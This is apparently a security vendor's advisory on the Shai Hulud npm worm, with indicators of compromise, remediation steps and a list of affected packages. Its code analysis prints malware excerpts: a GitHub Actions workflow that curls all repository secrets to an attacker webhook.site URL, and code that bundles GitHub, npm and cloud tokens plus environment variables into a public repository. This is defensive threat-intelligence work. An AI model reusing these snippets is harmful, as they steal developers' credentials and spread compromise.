Get a Demo
Under Attack?
npm shai hulud worm escalation

npm Supply Chain Attack: Shai Hulud Worm Escalates August Nx Compromise

<br />
<b>Warning</b>:  Undefined variable $photo in <b>/nas/content/live/landing173/wp-content/themes/bricks/includes/elements/code.php(236) : eval()'d code</b> on line <b>24</b><br />
<br />
<b>Warning</b>:  Trying to access array offset on value of type null in <b>/nas/content/live/landing173/wp-content/themes/bricks/includes/elements/code.php(236) : eval()'d code</b> on line <b>24</b><br />
<br />
<b>Warning</b>:  Undefined variable $photo in <b>/nas/content/live/landing173/wp-content/themes/bricks/includes/elements/code.php(236) : eval()'d code</b> on line <b>24</b><br />
<br />
<b>Warning</b>:  Trying to access array offset on value of type null in <b>/nas/content/live/landing173/wp-content/themes/bricks/includes/elements/code.php(236) : eval()'d code</b> on line <b>24</b><br />
Eliad Mualem, Tamir Boker September 16, 2025

On September 16, 2025, a large-scale npm supply chain attack was discovered, which seems to be linked to the same threat actors behind the August 27 Nx compromise (under ongoing investigation). Dubbed Shai Hulud, this self-propagating worm has infected nearly 40 npm packages, including several from CrowdStrike, by harvesting secrets from CI/CD pipelines and cloud metadata endpoints, exfiltrating them via GitHub repositories and malicious workflows, and publishing them to attacker-controlled webhooks. This represents a significant escalation from the original Nx attack, turning targeted compromise into a fully automated worm affecting the broader npm ecosystem.

What the Malware Does

Shai Hulud is a self-propagating worm with a multi-stage attack strategy. It begins by harvesting secrets from CI/CD environments, environment variables, TruffleHog scans, and cloud metadata endpoints. Once collected, these secrets are exfiltrated in two ways: the worm creates new GitHub repositories named Shai-Hulud containing JSON dumps of sensitive data, and it posts the same data to attacker-controlled webhooks through malicious GitHub Actions workflows.

To propagate itself, Shai Hulud modifies and republishes npm packages under compromised maintainer accounts, allowing the malware to spread automatically across the ecosystem. Finally, the worm amplifies its impact by turning private repositories public and injecting additional workflows to trigger further exfiltration, maximizing both the scale and speed of the compromise.

Indicators of Compromise (IoCs)

Security teams can monitor for the following signs:

  • Creation of GitHub repos named Shai-Hulud under maintainer accounts.
  • Presence of .github/workflows/shai-hulud-workflow.yml.
  • Suspicious CI/CD activity accessing secrets and posting to unknown webhooks.
  • Modified npm packages with unexpected postinstall hooks.

These versions were live for approximately two hours before clean versions replaced them.

Why This Matters

  • Shai Hulud demonstrates how a single compromise can escalate into a worm affecting hundreds of packages.
  • The attack exposes credentials, environment secrets, and potentially sensitive configuration across multiple organizations.
  • Automated propagation increases the speed and scale of the supply chain compromise, impacting many developers in a short period.

Compromised Github accounts

Nearly 40 npm packages are affected, owned by the following maintainers:

  • @ahmedhfarag
  • @art-ws
  • @crowdstrike
  • @ctrl
  • @hestjs
  • @nativescript-community
  • @nexe
  • @nstudio
  • @operato
  • @teselagen
  • @thangved
  • @things-factory
  • @tnf-dev
  • @ui-ux-gang
  • @yoobic

Developers should immediately check lockfiles and deployments for these packages.

Steps for Developers

Security teams can use the following to hunt for compromise:

  1. Audit Dependencies: Check package-lock.json or yarn.lock for affected versions.
  2. Scan CI/CD Pipelines: Identify unusual environment access or secret exfiltration.
  3. Update Packages: Pin to patched versions released after detection.
  4. Monitor GitHub Accounts: Look for unexpected repos, workflows, or public repository changes.
  5. Implement Runtime Monitoring: Detect suspicious network calls or GitHub Actions activity.

Code Analysis

Review of the Shai Hulud malware reveals several key behaviors and coding patterns:

  • Obfuscation: The malware uses heavily obfuscated JavaScript to hide its functionality, making static analysis challenging.
  • Dynamic Package Modification: Lifecycle hooks like postinstall are injected into npm packages to execute the worm on installation.
  • Environment Awareness: The code contains logic to detect CI/CD environments, cloud metadata endpoints, and existing npm tokens to maximize its impact.
  • Stealth Techniques: Temporary variables and double-base64 encoding are used to conceal exfiltrated data in both GitHub Actions logs and network requests.
  • AI-Assisted Development: Some parts of the code suggest the attacker leveraged AI coding tools to generate advanced and efficient payloads, demonstrating how AI can be abused to accelerate complex malware creation.
shai-hulud-attack

The initial payload downloads and executes a large bundle.js (≈100k lines) that embeds common SDKs (e.g., aws-sdk, gcp-metadata) and the malicious logic. It spawns TruffleHog and queries cloud metadata endpoints to discover environment variables, tokens, and cloud credentials.

async getLatestRelease() {
                    try {
                        const t = await fetch("https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest");
                        if (!t.ok) throw new Error(`GitHub API request failed: ${t.statusText}`);
                        const r = (await t.json()).tag_name,
                            n = r.replace("v", ""),
                            F = this.mapPlatform(this.systemInfo.platform),
                            te = `trufflehog_${n}_${F}_${this.mapArchitecture(this.systemInfo.architecture)}.tar.gz`;
                        return {
                            version: n,
                            downloadUrl: `https://github.com/trufflesecurity/trufflehog/releases/download/${r}/${te}`,
                            fileName: te
                        }
                    } catch (t) {
                        throw new Error(`Failed to get latest release: ${t}`)
                    }
                }

The malware creates a branch in accessible repositories that drops a GitHub Actions workflow which serializes ${{ toJSON(secrets) }} and POSTs them to an attacker-controlled webhook.site URL.

GITHUB_TOKEN="$1"
API_BASE="https://api.github.com"
BRANCH_NAME="shai-hulud"
FILE_NAME=".github/workflows/shai-hulud-workflow.yml"

FILE_CONTENT=$(cat <<'EOF'
on:
  push:
jobs:
  process:
    runs-on: ubuntu-latest
    steps:
    - name: Data Processing
      run: curl -d "$CONTENTS" https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
      env:
        CONTENTS: ${{ toJSON(secrets) }}
EOF
)

It also creates a public GitHub repository named Shai-Hulud and commits a JSON dump containing all collected secrets.

const pe = {
        application: t.getConfig(),
        system: {
            platform: r.platform,
            architecture: r.architecture,
            platformDetailed: r.platformRaw,
            architectureDetailed: r.archRaw
        },
        runtime: n,
        environment: process.env,
        modules: {
            github: {
                authenticated: F.isAuthenticated(),
                token: F.getCurrentToken()
            },
            aws: {
                secrets: ue
            },
            gcp: {
                secrets: de
            },
            truffleHog: le,
            npm: {
                token: oe,
                authenticated: ae,
                username: se
            }
        }
    };
    F.isAuthenticated() && await F.makeRepo("Shai-Hulud", (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe)), (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.exitWithCode)(0)
}

How Upwind Protects You

  • Advanced dependency scanning to automatically identify and flag vulnerable package version
  • With Upwind sensor runtime protection, suspicious downloads and network actions are identified in real time
  • Applied behavioral analytics to uncover obfuscated scripts and unusual client-side activity that might indicate a compromise
  • Risk prioritization to ensure that security teams can focus their attention on the most critical vulnerabilities and attacks.

For support in identifying compromised packages, reach out to [email protected].

You can find the full list of affected packages below:

@ahmedhfarag/ngx-perfect-scrollbar20.0.20
@ahmedhfarag/ngx-virtual-scroller4.0.4
@art-ws/common2.0.28
@art-ws/config-eslint2.0.4, 2.0.5
@art-ws/config-ts2.0.7, 2.0.8
@art-ws/db-context2.0.24
@art-ws/di2.0.28, 2.0.32
@art-ws/di-node2.0.13
@art-ws/eslint1.0.5, 1.0.6
@art-ws/fastify-http-server2.0.24, 2.0.27
@art-ws/http-server2.0.21, 2.0.25
@art-ws/openapi0.1.9, 0.1.12
@art-ws/package-base1.0.5, 1.0.6
@art-ws/prettier1.0.5, 1.0.6
@art-ws/slf2.0.15, 2.0.22
@art-ws/ssl-info1.0.9, 1.0.10
@art-ws/web-app1.0.3, 1.0.4
@crowdstrike/commitlint8.1.1, 8.1.2
@crowdstrike/falcon-shoelace0.4.1, 0.4.2
@crowdstrike/foundry-js0.19.1, 0.19.2
@crowdstrike/glide-core0.34.2, 0.34.3
@crowdstrike/logscale-dashboard1.205.1, 1.205.2
@crowdstrike/logscale-file-editor1.205.1, 1.205.2
@crowdstrike/logscale-parser-edit1.205.1, 1.205.2
@crowdstrike/logscale-search1.205.1, 1.205.2
@crowdstrike/tailwind-toucan-base5.0.1, 5.0.2
@ctrl/deluge7.2.1, 7.2.2
@ctrl/golang-template1.4.2, 1.4.3
@ctrl/magnet-link4.0.3, 4.0.4
@ctrl/ngx-codemirror7.0.1, 7.0.2
@ctrl/ngx-csv6.0.1, 6.0.2
@ctrl/ngx-emoji-mart9.2.1, 9.2.2
@ctrl/ngx-rightclick4.0.1, 4.0.2
@ctrl/qbittorrent9.7.1, 9.7.2
@ctrl/react-adsense2.0.1, 2.0.2
@ctrl/shared-torrent6.3.1, 6.3.2
@ctrl/tinycolor4.1.1, 4.1.2
@ctrl/torrent-file4.1.1, 4.1.2
@ctrl/transmission7.3.1
@ctrl/ts-base324.0.1, 4.0.2
@hestjs/core0.2.1
@hestjs/cqrs0.1.6
@hestjs/demo0.1.2
@hestjs/eslint-config0.1.2
@hestjs/logger0.1.6
@hestjs/scalar0.1.7
@hestjs/validation0.1.6
@nativescript-community/arraybuffers1.1.6, 1.1.7, 1.1.8
@nativescript-community/gesturehandler2.0.35
@nativescript-community/perms3.0.5, 3.0.6, 3.0.7, 3.0.8
@nativescript-community/sqlite3.5.2, 3.5.3, 3.5.4, 3.5.5
@nativescript-community/text1.6.9, 1.6.10, 1.6.11, 1.6.12
@nativescript-community/typeorm0.2.30, 0.2.31, 0.2.32, 0.2.33
@nativescript-community/ui-collectionview6.0.6
@nativescript-community/ui-document-picker1.1.27, 1.1.28
@nativescript-community/ui-drawer0.1.30
@nativescript-community/ui-image4.5.6
@nativescript-community/ui-label1.3.35, 1.3.36, 1.3.37
@nativescript-community/ui-material-bottom-navigation7.2.72, 7.2.73, 7.2.74, 7.2.75
@nativescript-community/ui-material-bottomsheet7.2.72
@nativescript-community/ui-material-core7.2.72, 7.2.73, 7.2.74, 7.2.75
@nativescript-community/ui-material-core-tabs7.2.72, 7.2.73, 7.2.74, 7.2.75
@nativescript-community/ui-material-ripple7.2.72, 7.2.73, 7.2.74, 7.2.75
@nativescript-community/ui-material-tabs7.2.72, 7.2.73, 7.2.74, 7.2.75
@nativescript-community/ui-pager14.1.36, 14.1.37, 14.1.38
@nativescript-community/ui-pulltorefresh2.5.4, 2.5.5, 2.5.6, 2.5.7
@nexe/config-manager0.1.1
@nexe/eslint-config0.1.1
@nexe/logger0.1.3
@nstudio/angular20.0.4, 20.0.5, 20.0.6
@nstudio/focus20.0.4, 20.0.5, 20.0.6
@nstudio/nativescript-checkbox2.0.6, 2.0.7, 2.0.8, 2.0.9
@nstudio/nativescript-loading-indicator5.0.1, 5.0.2, 5.0.3, 5.0.4
@nstudio/ui-collectionview5.1.11, 5.1.12, 5.1.13, 5.1.14
@nstudio/web20.0.4
@nstudio/web-angular20.0.4
@nstudio/xplat20.0.5, 20.0.6, 20.0.7
@nstudio/xplat-utils20.0.5, 20.0.6, 20.0.7
@operato/board9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46
@operato/data-grist9.0.29, 9.0.35, 9.0.36, 9.0.37
@operato/graphql9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46
@operato/headroom9.0.2, 9.0.35, 9.0.36, 9.0.37
@operato/help9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46
@operato/i18n9.0.35, 9.0.36, 9.0.37
@operato/input9.0.27, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46
@operato/layout9.0.35, 9.0.36, 9.0.37
@operato/popup9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46
@operato/pull-to-refresh9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42
@operato/shell9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39
@operato/styles9.0.2, 9.0.35, 9.0.36, 9.0.37
@operato/utils9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46
@teselagen/bounce-loader0.3.16, 0.3.17
@teselagen/liquibase-tools0.4.1
@teselagen/range-utils0.3.14, 0.3.15
@teselagen/react-list0.8.19, 0.8.20
@teselagen/react-table6.10.19
@thangved/callback-window1.1.4
@things-factory/attachment-base9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48, 9.0.49, 9.0.50
@things-factory/auth-base9.0.43, 9.0.44, 9.0.45
@things-factory/email-base9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48, 9.0.49, 9.0.50, 9.0.51, 9.0.52, 9.0.53, 9.0.54
@things-factory/env9.0.42, 9.0.43, 9.0.44, 9.0.45
@things-factory/integration-base9.0.43, 9.0.44, 9.0.45
@things-factory/integration-marketplace9.0.43, 9.0.44, 9.0.45
@things-factory/shell9.0.43, 9.0.44, 9.0.45
@tnf-dev/api1.0.8
@tnf-dev/core1.0.8
@tnf-dev/js1.0.8
@tnf-dev/mui1.0.8
@tnf-dev/react1.0.8
@ui-ux-gang/devextreme-angular-rpk24.1.7
@yoobic/design-system6.5.17
@yoobic/jpeg-camera-es61.0.13
@yoobic/yobi8.7.53
airchief0.3.1
airpilot0.8.8
angulartics214.1.1, 14.1.2
browser-webdriver-downloader3.0.8
capacitor-notificationhandler0.0.2, 0.0.3
capacitor-plugin-healthapp0.0.2, 0.0.3
capacitor-plugin-ihealth1.1.8, 1.1.9
capacitor-plugin-vonage1.0.2, 1.0.3
capacitorandroidpermissions0.0.4, 0.0.5
config-cordova0.8.5
cordova-plugin-voxeet21.0.24
cordova-voxeet1.0.32
create-hest-app0.1.9
db-evo1.1.4, 1.1.5
devextreme-angular-rpk21.2.8
ember-browser-services5.0.2, 5.0.3
ember-headless-form1.1.2, 1.1.3
ember-headless-form-yup1.0.1
ember-headless-table2.1.5, 2.1.6
ember-url-hash-polyfill1.0.12, 1.0.13
ember-velcro2.2.1, 2.2.2
encounter-playground0.0.2, 0.0.3, 0.0.4, 0.0.5
eslint-config-crowdstrike11.0.2, 11.0.3
eslint-config-crowdstrike-node4.0.3, 4.0.4
eslint-config-teselagen6.1.7
globalize-rpk1.7.4
graphql-sequelize-teselagen5.3.8
html-to-base64-image1.0.2
json-rules-engine-simplified0.2.1
jumpgate0.0.2
koa2-swagger-ui5.11.1, 5.11.2
mcfly-semantic-release1.3.1
mcp-knowledge-base0.0.2
mcp-knowledge-graph1.2.1
mobioffice-cli1.0.3
monorepo-next13.0.1, 13.0.2
mstate-angular0.4.4
mstate-cli0.4.7
mstate-dev-react1.1.1
mstate-react1.6.5
ng2-file-upload7.0.2, 7.0.3, 8.0.1, 8.0.2, 8.0.3, 9.0.1
ngx-bootstrap18.1.4, 19.0.3, 19.0.4, 20.0.3, 20.0.4, 20.0.5
ngx-color10.0.1, 10.0.2
ngx-toastr19.0.1, 19.0.2
ngx-trend8.0.1
ngx-ws1.1.5, 1.1.6
oradm-to-gql35.0.14, 35.0.15
oradm-to-sqlz1.1.2
ove-auto-annotate0.0.9
pm2-gelf-json1.0.4, 1.0.5
printjs-rpk1.6.1
react-complaint-image0.0.32
react-jsonschema-form-conditionals0.3.18
remark-preset-lint-crowdstrike4.0.1, 4.0.2
rxnt-authentication0.0.3, 0.0.4, 0.0.5, 0.0.6
rxnt-healthchecks-nestjs1.0.2, 1.0.3, 1.0.4, 1.0.5
rxnt-kue1.0.4, 1.0.5, 1.0.6, 1.0.7
swc-plugin-component-annotate1.9.1, 1.9.2
tbssnch1.0.2
teselagen-interval-tree1.1.2
tg-client-query-builder2.14.4, 2.14.5
tg-redbird1.3.1
tg-seq-gen1.0.9, 1.0.10
thangved-react-grid1.0.3
ts-gaussian3.0.5, 3.0.6
ts-imports1.0.1, 1.0.2
tvi-cli0.1.5
ve-bamreader0.2.6
ve-editor1.0.1
verror-extra6.0.1
voip-callkit1.0.2, 1.0.3
wdio-web-reporter0.1.3
yargs-help-output5.0.3
yoo-styles6.0.326
Contents

Further Reading

gemini-svg

Metabase Instances Actively Exploited: Unauthenticated Admin Takeover via BI Layer Reset Password SQL Injection (CVE-2026-72898)

Executive Summary Upwind recently observed multiple Advanced Persistent Threat (APT) groups actively exploiting CVE-2026-72898. This vulnerability - an unauthenticated SQL injection in the Metabase password reset endpoint carrying a critical CVSS score of 10.0, was actively exploited as a zero-day before a patch became available. An unauthenticated remote attacker can craft a malicious SQL injection…
Buyers Demos

Why Buyers Remember Solving a Demo, Not Watching One

Key Takeaways I recently sat down with Upwind Solutions Architect, Evan Grace to learn more about his process. After some intros, he told me about his new hobby, hydroponics. For those who don’t know, hydroponics is a method of growing plants without soil. This was unbelievable to me but after Evan explained his deep dive…
PagerDuty-Hero

Upwind Integrates with PagerDuty for Instant Incident Response

Upwind now integrates with PagerDuty, enabling security teams to create workflows that automatically route Upwind findings and detections to the appropriate on-call team based on existing incident management workflows. This integration expands Upwind's growing library of native workflow integrations, giving security and platform teams even more ways to turn real-time detections into immediate action. What's…
Add the Upwind RSS Feed to Slack
Connect the Upwind RSS Feed to your Slack.
Follow the how-to here.
Threat RSS
Add the Upwind RSS Feed to Slack
Connect the Upwind RSS Feed to your Slack.
Follow the how-to here.
Main RSS